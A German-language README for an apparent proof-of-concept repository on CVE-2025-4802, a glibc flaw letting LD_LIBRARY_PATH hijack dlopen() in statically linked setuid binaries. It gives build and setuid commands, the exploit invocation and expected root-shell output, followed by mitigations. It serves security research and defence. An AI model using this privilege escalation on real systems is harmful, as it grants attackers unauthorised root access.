CVE-2025-4802 — Proof of Concept

⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben. Missbrauch kann gegen Gesetze und Vorschriften verstoßen.

CVE-Zusammenfassung

Beschreibung

Eine Schwachstelle in der GNU C Library (glibc) in den Versionen 2.27 bis 2.38 ermöglicht es einem Angreifer, die Umgebungsvariable LD_LIBRARY_PATH in statisch kompilierten setuid-Binärdateien auszunutzen, die dlopen() aufrufen.

Normalerweise bereinigt der dynamische Linker LD_LIBRARY_PATH für setuid-Programme. Statisch kompilierte Binärdateien umgehen jedoch den dynamischen Linker vollständig, sodass LD_LIBRARY_PATH niemals gelöscht wird. Wenn eine solche Binärdatei dlopen() aufruft (direkt oder indirekt über setlocale() oder NSS-Funktionen wie getaddrinfo()), löst glibc Shared Libraries unter Verwendung des vom Angreifer kontrollierten LD_LIBRARY_PATH auf, was die Ausführung beliebigen Codes mit erhöhten Privilegien ermöglicht.

Funktionsweise

1. Eine statisch kompilierte setuid-root-Binärdatei ruft dlopen("myso.so", ...) auf, um ein Shared Object über den Namen (nicht über einen absoluten Pfad) zu laden.
2. Da die Binärdatei statisch gelinkt ist, wird der dynamische Linker (ld-linux.so) nie ausgeführt, sodass LD_LIBRARY_PATH nicht bereinigt wird.
3. Ein Angreifer erstellt ein bösartiges Shared Object (myso.so), das dasselbe hello()-Symbol exportiert, aber eine Root-Shell startet.
4. Der Angreifer setzt LD_LIBRARY_PATH auf das Verzeichnis, das die bösartige Bibliothek enthält.
5. Wenn die setuid-Binärdatei ausgeführt wird, lädt sie die Bibliothek des Angreifers anstelle der legitimen und führt beliebigen Code als root aus.

Repository-Struktur

.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Voraussetzungen

• Betriebssystem: Fedora 39 (oder eine beliebige Linux-Distribution mit einer anfälligen glibc)
• glibc-Version: 2.27 – 2.38 (prüfen mit ldd --version)
• Pakete: gcc, make
• Root-Zugriff, um das setuid-Bit zu setzen

Reproduktionsschritte

1. Alles bauen

make all

Oder manuell:

# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Das setuid-Bit setzen (erfordert root)

sudo chown root:root main
sudo chmod u+s main

3. Normal ausführen (sicheres Verhalten)

./main

Erwartete Ausgabe:

 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Ausnutzen mit LD_LIBRARY_PATH (bösartiges Verhalten)

LD_LIBRARY_PATH=./evil_library ./main

Erwartete Ausgabe:

 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Die Binärdatei lädt die myso.so des Angreifers aus evil_library/ anstelle der legitimen und startet eine Root-Shell.

Proof of Concept

Ein Video-Walkthrough ist ebenfalls verfügbar: proof_of_concept_video.mp4

Gegenmaßnahmen

• glibc aktualisieren auf eine gepatchte Version (> 2.38)
• Statisches Linken vermeiden für setuid-Binärdateien, die dlopen() verwenden
• Absolute Pfade in dlopen()-Aufrufen verwenden statt bloßer Bibliotheksnamen
• Privilegien vor dem Aufruf von dlopen() abgeben
• Compiler-/Linker-Härtungsflags verwenden und setuid nach Möglichkeit vermeiden

Ressourcen

• NVD — CVE-2025-4802